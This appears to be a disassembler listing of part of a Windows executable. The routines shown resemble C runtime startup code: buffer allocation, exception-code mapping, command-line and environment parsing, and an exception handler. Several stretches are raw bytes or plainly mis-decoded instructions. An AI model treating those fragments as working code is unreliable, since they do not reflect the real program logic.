		mov	eax, ds:dword_42E604[edx*8]
		mov	ds:dword_45F844, eax
		retn
; ---------------------------------------------------------------------------


loc_41728F:				; CODE XREF: sub_41724D+23j
					; sub_41724D+28j
		cmp	ecx, 0BCh
		jb	short loc_4172A9
		cmp	ecx, 0CAh
		mov	ds:dword_45F844, 8
		jbe	short locret_4172B3


loc_4172A9:				; CODE XREF: sub_41724D+48j
		mov	ds:dword_45F844, 16h

locret_4172B3:				; CODE XREF: sub_41724D+5Aj
		retn
sub_41724D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172B4	proc near		; CODE XREF: sub_41271D+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_417F9D
		test	eax, eax
		pop	ecx
		jz	short loc_41733D
		cmp	esi, offset dword_42E8A8
		jnz	short loc_4172D2
		xor	eax, eax
		jmp	short loc_4172DD
; ---------------------------------------------------------------------------


loc_4172D2:				; CODE XREF: sub_4172B4+18j
		cmp	esi, offset dword_42E8C8
		jnz	short loc_41733D
		push	1
		pop	eax


loc_4172DD:				; CODE XREF: sub_4172B4+1Cj
		inc	ds:dword_45FA04
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41733D
		cmp	ds:dword_45F8EC[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:45F8ECh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_417323
		push	ebx
		call	sub_410C0F
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_417323
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_417330
; ---------------------------------------------------------------------------


loc_417323:				; CODE XREF: sub_4172B4+4Dj
					; sub_4172B4+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_417330:				; CODE XREF: sub_4172B4+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41733D:				; CODE XREF: sub_4172B4+10j
					; sub_4172B4+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4172B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417341	proc near		; CODE XREF: sub_41271D+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41736B
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41737C
		push	esi
		call	sub_416419
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41736B:				; CODE XREF: sub_417341+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41737C
		push	eax
		call	sub_416419
		pop	ecx


loc_41737C:				; CODE XREF: sub_417341+10j
					; sub_417341+32j
		pop	esi
		retn
sub_417341	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_4174BF
		test	eax, eax
		pop	ecx
		jz	loc_4174B3
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_4174B3
		cmp	ebx, 5
		jnz	short loc_4173AF
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_4174BC
; ---------------------------------------------------------------------------


loc_4173AF:				; CODE XREF: seg000:004173A1j
		cmp	ebx, 1
		jz	loc_4174AE
		mov	ecx, ds:dword_45F8F4
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	ds:dword_45F8F4, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41749E
		mov	ecx, ds:dword_42E7E0
		mov	edx, ds:dword_42E7E4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_4173FE
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:42E770h[esi*4]


loc_4173F5:				; CODE XREF: seg000:004173FCj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_4173F5


loc_4173FE:				; CODE XREF: seg000:004173E7j
		mov	eax, [eax]
		mov	esi, ds:dword_42E7EC
		cmp	eax, 0C000008Eh
		jnz	short loc_417419
		mov	ds:dword_42E7EC, 83h
		jmp	short loc_417489
; ---------------------------------------------------------------------------


loc_417419:				; CODE XREF: seg000:0041740Bj
		cmp	eax, 0C0000090h
		jnz	short loc_41742C
		mov	ds:dword_42E7EC, 81h
		jmp	short loc_417489
; ---------------------------------------------------------------------------


loc_41742C:				; CODE XREF: seg000:0041741Ej
		cmp	eax, 0C0000091h
		jnz	short loc_41743F
		mov	ds:dword_42E7EC, 84h
		jmp	short loc_417489
; ---------------------------------------------------------------------------


loc_41743F:				; CODE XREF: seg000:00417431j
		cmp	eax, 0C0000093h
		jnz	short loc_417452
		mov	ds:dword_42E7EC, 85h
		jmp	short loc_417489
; ---------------------------------------------------------------------------


loc_417452:				; CODE XREF: seg000:00417444j
		cmp	eax, 0C000008Dh
		jnz	short loc_417465
		mov	ds:dword_42E7EC, 82h
		jmp	short loc_417489
; ---------------------------------------------------------------------------


loc_417465:				; CODE XREF: seg000:00417457j
		cmp	eax, 0C000008Fh
		jnz	short loc_417478
		mov	ds:dword_42E7EC, 86h
		jmp	short loc_417489
; ---------------------------------------------------------------------------


loc_417478:				; CODE XREF: seg000:0041746Aj
		cmp	eax, 0C0000092h
		jnz	short loc_417489
		mov	ds:dword_42E7EC, 8Ah


loc_417489:				; CODE XREF: seg000:00417417j
					; seg000:0041742Aj ...
		push	ds:dword_42E7EC
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_42E7EC, esi
		pop	ecx
		pop	esi
		jmp	short loc_4174A6
; ---------------------------------------------------------------------------


loc_41749E:				; CODE XREF: seg000:004173D0j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_4174A6:				; CODE XREF: seg000:0041749Cj
		mov	eax, [ebp+8]
		mov	ds:dword_45F8F4, eax


loc_4174AE:				; CODE XREF: seg000:004173B2j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4174BC
; ---------------------------------------------------------------------------


loc_4174B3:				; CODE XREF: seg000:0041738Dj
					; seg000:00417398j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_41C188	; UnhandledExceptionFilter


loc_4174BC:				; CODE XREF: seg000:004173AAj
					; seg000:004174B1j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4174BF	proc near		; CODE XREF: seg000:00417385p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_42E7E8
		cmp	ds:dword_42E768, edx
		push	esi
		mov	eax, offset dword_42E768
		jz	short loc_4174EC
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:42E768h[esi*4]


loc_4174E1:				; CODE XREF: sub_4174BF+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_4174EC
		cmp	[eax], edx
		jnz	short loc_4174E1


loc_4174EC:				; CODE XREF: sub_4174BF+16j
					; sub_4174BF+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:42E768h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4174FF
		cmp	[eax], edx
		jz	short locret_417501


loc_4174FF:				; CODE XREF: sub_4174BF+3Aj
		xor	eax, eax

locret_417501:				; CODE XREF: sub_4174BF+3Ej
		retn
sub_4174BF	endp

; ---------------------------------------------------------------------------
		cmp	ds:dword_460EAC, 0
		jnz	short loc_417510
		call	sub_4171A7


loc_417510:				; CODE XREF: seg000:00417509j
		push	esi
		mov	esi, ds:dword_460EA4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_417542


loc_41751D:				; CODE XREF: seg000:00417535j
					; seg000:00417538j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41753A
		test	al, al
		jz	short loc_41753A
		movzx	eax, al
		push	eax
		call	sub_41959F
		test	eax, eax
		pop	ecx
		jz	short loc_41751D
		inc	esi
		jmp	short loc_41751D
; ---------------------------------------------------------------------------


loc_41753A:				; CODE XREF: seg000:00417523j
					; seg000:00417527j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41754C


loc_41753F:				; CODE XREF: seg000:00417554j
		inc	esi
		jmp	short loc_41754C
; ---------------------------------------------------------------------------


loc_417542:				; CODE XREF: seg000:0041751Bj
		cmp	al, 20h
		jbe	short loc_41754C


loc_417546:				; CODE XREF: seg000:0041754Aj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_417546


loc_41754C:				; CODE XREF: seg000:0041753Dj
					; seg000:00417540j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_417556
		cmp	al, 20h
		jbe	short loc_41753F


loc_417556:				; CODE XREF: seg000:00417550j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_460EAC, ebx
		push	esi
		push	edi
		jnz	short loc_41756C
		call	sub_4171A7


loc_41756C:				; CODE XREF: seg000:00417565j
		mov	esi, ds:dword_45F890
		xor	edi, edi


loc_417574:				; CODE XREF: seg000:0041758Aj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41758C
		cmp	al, 3Dh
		jz	short loc_41757F
		inc	edi


loc_41757F:				; CODE XREF: seg000:0041757Cj
		push	esi
		call	sub_410B60
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_417574
; ---------------------------------------------------------------------------


loc_41758C:				; CODE XREF: seg000:00417578j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_410C0F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_45F86C, esi
		jnz	short loc_4175AE
		push	9
		call	sub_412ADE
		pop	ecx


loc_4175AE:				; CODE XREF: seg000:004175A4j
		mov	edi, ds:dword_45F890
		cmp	[edi], bl
		jz	short loc_4175F1
		push	ebp


loc_4175B9:				; CODE XREF: seg000:004175EEj
		push	edi
		call	sub_410B60
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_4175EA
		push	ebp
		call	sub_410C0F
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_4175DD
		push	9
		call	sub_412ADE
		pop	ecx


loc_4175DD:				; CODE XREF: seg000:004175D3j
		push	edi
		push	dword ptr [esi]
		call	sub_411B70
		pop	ecx
		add	esi, 4
		pop	ecx


loc_4175EA:				; CODE XREF: seg000:004175C6j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_4175B9
		pop	ebp


loc_4175F1:				; CODE XREF: seg000:004175B6j
		push	ds:dword_45F890
		call	sub_410C83
		pop	ecx
		mov	ds:dword_45F890, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_460EA8, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 5151EC8Bh, 39DB3353h, 460EAC1Dh, 75575600h, 0FB7DE805h
		dd 0F8BEFFFFh, 680045F8h, 104h,	0C9E85356h, 0F3008C89h
		dd 460EA4A1h, 7C358900h, 8B0045F8h, 741838FEh, 8DF88B02h
		dd 8D50F845h, 5350FC45h, 4DE85753h, 8B000000h, 4D8BF845h
		dd 88048DFCh, 95A1E850h, 0F08BFFFFh, 3B18C483h,	6A0875F3h
		dd 0B460E808h, 8D59FFFFh, 8D50F845h, 8B50FC45h,	48DFC45h
		dd 57565086h, 17E8h, 0FC458B00h, 4814C483h, 0F8643589h
		dd 5E5F0045h, 45F860A3h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4176AC	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_4176D6
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_4176D6:				; CODE XREF: sub_4176AC+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41771F


loc_4176DB:				; CODE XREF: sub_4176AC+58j
					; sub_4176AC+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41770D
		test	dl, dl
		jz	short loc_41770D
		movzx	edx, dl
		test	ds:byte_460D81[edx], 4
		jz	short loc_417700
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_417700
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_417700:				; CODE XREF: sub_4176AC+46j
					; sub_4176AC+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4176DB
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4176DB
; ---------------------------------------------------------------------------


loc_41770D:				; CODE XREF: sub_4176AC+36j
					; sub_4176AC+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_417717
		and	byte ptr [esi],	0
		inc	esi


loc_417717:				; CODE XREF: sub_4176AC+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_417762
		inc	eax
		jmp	short loc_417762
; ---------------------------------------------------------------------------


loc_41771F:				; CODE XREF: sub_4176AC+2Dj
					; sub_4176AC+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41772A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41772A:				; CODE XREF: sub_4176AC+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_460D81[ebx], 4
		jz	short loc_417745
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_417744
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_417744:				; CODE XREF: sub_4176AC+91j
		inc	eax


loc_417745:				; CODE XREF: sub_4176AC+8Bj
		cmp	dl, 20h
		jz	short loc_417753
		test	dl, dl
		jz	short loc_417757
		cmp	dl, 9
		jnz	short loc_41771F


loc_417753:				; CODE XREF: sub_4176AC+9Cj
		test	dl, dl
		jnz	short loc_41775A


loc_417757:				; CODE XREF: sub_4176AC+A0j
		dec	eax
		jmp	short loc_417762
; ---------------------------------------------------------------------------


loc_41775A:				; CODE XREF: sub_4176AC+A9j
		test	esi, esi
		jz	short loc_417762
		and	byte ptr [esi-1], 0


loc_417762:				; CODE XREF: sub_4176AC+6Ej
					; sub_4176AC+71j ...
		and	[ebp+arg_10], 0


loc_417766:				; CODE XREF: sub_4176AC+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41784F


loc_41776F:				; CODE XREF: sub_4176AC+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41777B
		cmp	dl, 9
		jnz	short loc_41777E


loc_41777B:				; CODE XREF: sub_4176AC+C8j
		inc	eax
		jmp	short loc_41776F
; ---------------------------------------------------------------------------


loc_41777E:				; CODE XREF: sub_4176AC+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41784F
		test	edi, edi
		jz	short loc_417793
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_417793:				; CODE XREF: sub_4176AC+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_417798:				; CODE XREF: sub_4176AC+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_4177A1:				; CODE XREF: sub_4176AC+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_4177AA
		inc	eax
		inc	ebx
		jmp	short loc_4177A1
; ---------------------------------------------------------------------------


loc_4177AA:				; CODE XREF: sub_4176AC+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4177DB
		test	bl, 1
		jnz	short loc_4177D9
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_4177C8
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_4177C8
		mov	eax, edx
		jmp	short loc_4177CB
; ---------------------------------------------------------------------------


loc_4177C8:				; CODE XREF: sub_4176AC+10Dj
					; sub_4176AC+116j
		mov	[ebp+arg_0], edi


loc_4177CB:				; CODE XREF: sub_4176AC+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_4177D9:				; CODE XREF: sub_4176AC+106j
		shr	ebx, 1


loc_4177DB:				; CODE XREF: sub_4176AC+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_4177F0
		inc	ebx


loc_4177E3:				; CODE XREF: sub_4176AC+142j
		test	esi, esi
		jz	short loc_4177EB
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_4177EB:				; CODE XREF: sub_4176AC+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_4177E3


loc_4177F0:				; CODE XREF: sub_4176AC+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_417840
		cmp	[ebp+arg_10], 0
		jnz	short loc_417806
		cmp	dl, 20h
		jz	short loc_417840
		cmp	dl, 9
		jz	short loc_417840


loc_417806:				; CODE XREF: sub_4176AC+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41783A
		test	esi, esi
		jz	short loc_417829
		movzx	ebx, dl
		test	ds:byte_460D81[ebx], 4
		jz	short loc_417822
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_417822:				; CODE XREF: sub_4176AC+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_417838
; ---------------------------------------------------------------------------


loc_417829:				; CODE XREF: sub_4176AC+162j
		movzx	edx, dl
		test	ds:byte_460D81[edx], 4
		jz	short loc_417838
		inc	eax
		inc	dword ptr [ecx]


loc_417838:				; CODE XREF: sub_4176AC+17Bj
					; sub_4176AC+187j
		inc	dword ptr [ecx]


loc_41783A:				; CODE XREF: sub_4176AC+15Ej
		inc	eax
		jmp	loc_417798
; ---------------------------------------------------------------------------


loc_417840:				; CODE XREF: sub_4176AC+148j
					; sub_4176AC+153j ...
		test	esi, esi
		jz	short loc_417848
		and	byte ptr [esi],	0
		inc	esi


loc_417848:				; CODE XREF: sub_4176AC+196j
		inc	dword ptr [ecx]
		jmp	loc_417766
; ---------------------------------------------------------------------------


loc_41784F:				; CODE XREF: sub_4176AC+BDj
					; sub_4176AC+D5j
		test	edi, edi
		jz	short loc_417856
		and	dword ptr [edi], 0


loc_417856:				; CODE XREF: sub_4176AC+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4176AC	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, ds:dword_45F9FC
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41C03C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_4178AE
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41788F
		mov	ds:dword_45F9FC, 1
		jmp	short loc_4178B7
; ---------------------------------------------------------------------------


loc_41788F:				; CODE XREF: seg000:00417881j
		call	ds:dword_41C040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_417989
		mov	ds:dword_45F9FC, 2
		jmp	loc_41793D
; ---------------------------------------------------------------------------


loc_4178AE:				; CODE XREF: seg000:00417879j
		cmp	eax, 1
		jnz	loc_417938


loc_4178B7:				; CODE XREF: seg000:0041788Dj
		cmp	esi, ebx
		jnz	short loc_4178C7
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_417989


loc_4178C7:				; CODE XREF: seg000:004178B9j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_4178DC


loc_4178CE:				; CODE XREF: seg000:004178D3j
					; seg000:004178DAj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_4178CE
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_4178CE


loc_4178DC:				; CODE XREF: seg000:004178CCj
		sub	eax, esi
		mov	edi, ds:dword_41C11C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41792D
		push	ebp
		call	sub_410C0F
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41792D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_417929
		push	dword ptr [esp+10h]
		call	sub_410C83
		pop	ecx
		mov	[esp+10h], ebx


loc_417929:				; CODE XREF: seg000:00417919j
		mov	ebx, [esp+10h]


loc_41792D:				; CODE XREF: seg000:004178F9j
					; seg000:00417908j
		push	esi
		call	ds:dword_41C044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41798B
; ---------------------------------------------------------------------------


loc_417938:				; CODE XREF: seg000:004178B1j
		cmp	eax, 2
		jnz	short loc_417989


loc_41793D:				; CODE XREF: seg000:004178A9j
		cmp	edi, ebx
		jnz	short loc_41794D
		call	ds:dword_41C040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_417989


loc_41794D:				; CODE XREF: seg000:0041793Fj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41795D


loc_417953:				; CODE XREF: seg000:00417956j
					; seg000:0041795Bj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_417953
		inc	eax
		cmp	[eax], bl
		jnz	short loc_417953


loc_41795D:				; CODE XREF: seg000:00417951j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_410C0F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_417973
		xor	esi, esi
		jmp	short loc_41797E
; ---------------------------------------------------------------------------


loc_417973:				; CODE XREF: seg000:0041796Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4105F0
		add	esp, 0Ch


loc_41797E:				; CODE XREF: seg000:00417971j
		push	edi
		call	near ptr 3D0000h
		mov	ebx, 2EBC68Bh


loc_417989:				; CODE XREF: seg000:00417899j
					; seg000:004178C1j ...
		xor	eax, eax


loc_41798B:				; CODE XREF: seg000:00417936j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: seg000:00412A57p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_410C0F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4179B2
		push	1Bh
		call	sub_412ADE
		pop	ecx


loc_4179B2:				; CODE XREF: seg000:004179A8j
		mov	ds:dword_460B60, esi
		mov	ds:dword_460C60, 20h
		lea	eax, [esi+100h]


loc_4179C8:				; CODE XREF: seg000:004179E4j
		cmp	esi, eax
		jnb	short loc_4179E6
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_460B60
		add	esi, 8
		add	eax, 100h
		jmp	short loc_4179C8
; ---------------------------------------------------------------------------


loc_4179E6:				; CODE XREF: seg000:004179CAj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0BE0004h
		mov	eax, ds:247C8366h
		inc	edx
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		dw 0
		dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
		dd 2E1C8DF0h, 0F08B027Ch, 0C603539h, 527D0046h,	460B64BFh
		dd 1006800h, 0DCE80000h, 85FFFF91h, 387459C0h, 0C600583h
		dd 89200046h, 888D07h, 3B000001h, 801873C1h, 83000460h
		dd 40C6FF08h, 0F8B0A05h, 8108C083h, 100C1h, 83E4EB00h
		dd 353904C7h, 460C60h, 6EBBB7Ch, 0C60358Bh, 0FF330046h
		dd 467EF685h, 0F883038Bh, 8A3674FFh, 0C1F6004Dh, 0F62E7401h
		dd 0B7508C1h, 856AE850h, 8553FFFBh, 8B1E74C0h, 0C1CF8BC7h
		dd 0E18305F8h, 85048B1Fh, 460B60h, 8BC8048Dh, 8A08890Bh
		dd 4888004Dh, 83454704h, 0FE3B04C3h, 0DB33BA7Ch, 460B60A1h
		dd 0D83C8300h, 0D8348DFFh, 0DB854D75h, 810446C6h, 0F66A0575h
		dd 8B0AEB58h, 0D8F748C3h, 0C083C01Bh, 15E850F5h, 61007E85h
		dd 0FF83F88Bh, 571774FFh, 808507E8h, 0C0853800h, 0FF250C74h
		dd 89000000h, 2F8833Eh,	4E800675h, 0FEB4004h, 7503F883h
		dd 44E800Ah, 8004EB08h,	4380044Eh, 7C03FB83h, 6035FF9Bh
		dd 0E800460Ch, 8284D0h,	5D5E5F07h, 44C4835Bh, 0CCCCCCC3h
		dd 30324356h, 30304358h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B48	proc near		; DATA XREF: seg000:004129F2o
					; sub_4150ED+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_417BE8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_417B7B:				; CODE XREF: sub_417B48+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417BE1
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_417BCF
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_417BCF
		js	short loc_417BDA
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4111B0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4111F2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_411286
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_417BCF:				; CODE XREF: sub_417B48+40j
					; sub_417B48+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_417B7B
; ---------------------------------------------------------------------------


loc_417BDA:				; CODE XREF: sub_417B48+54j
		mov	eax, 0
		jmp	short loc_417BFD
; ---------------------------------------------------------------------------


loc_417BE1:				; CODE XREF: sub_417B48+36j
		mov	eax, 1
		jmp	short loc_417BFD
; ---------------------------------------------------------------------------


loc_417BE8:				; CODE XREF: sub_417B48+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4111F2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_417BFD:				; CODE XREF: sub_417B48+97j
					; sub_417B48+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_417B48	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4111F2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_412ADE+9p
					; sub_412B03+9p
		mov	eax, ds:dword_45F898
		cmp	eax, 1
		jz	short loc_417C37
		test	eax, eax
		jnz	short locret_417C58
		cmp	ds:dword_42E184, 1
		jnz	short locret_417C58


loc_417C37:				; CODE XREF: sub_417C20+8j
		push	0FCh
		call	near ptr sub_417C59
		mov	eax, ds:dword_45FA00
		pop	ecx
		test	eax, eax
		jz	short loc_417C4D
		call	eax


loc_417C4D:				; CODE XREF: sub_417C20+29j
		push	0FFh
		call	near ptr sub_417C59
		pop	ecx

locret_417C58:				; CODE XREF: sub_417C20+Cj
					; sub_417C20+15j
		retn
sub_417C20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C59	proc far		; CODE XREF: sub_412ADE+12p
					; sub_412B03+12p ...

var_72EC8A40	= byte ptr -72EC8A40h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_FFFFFFFC	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_FFFFFFFC]
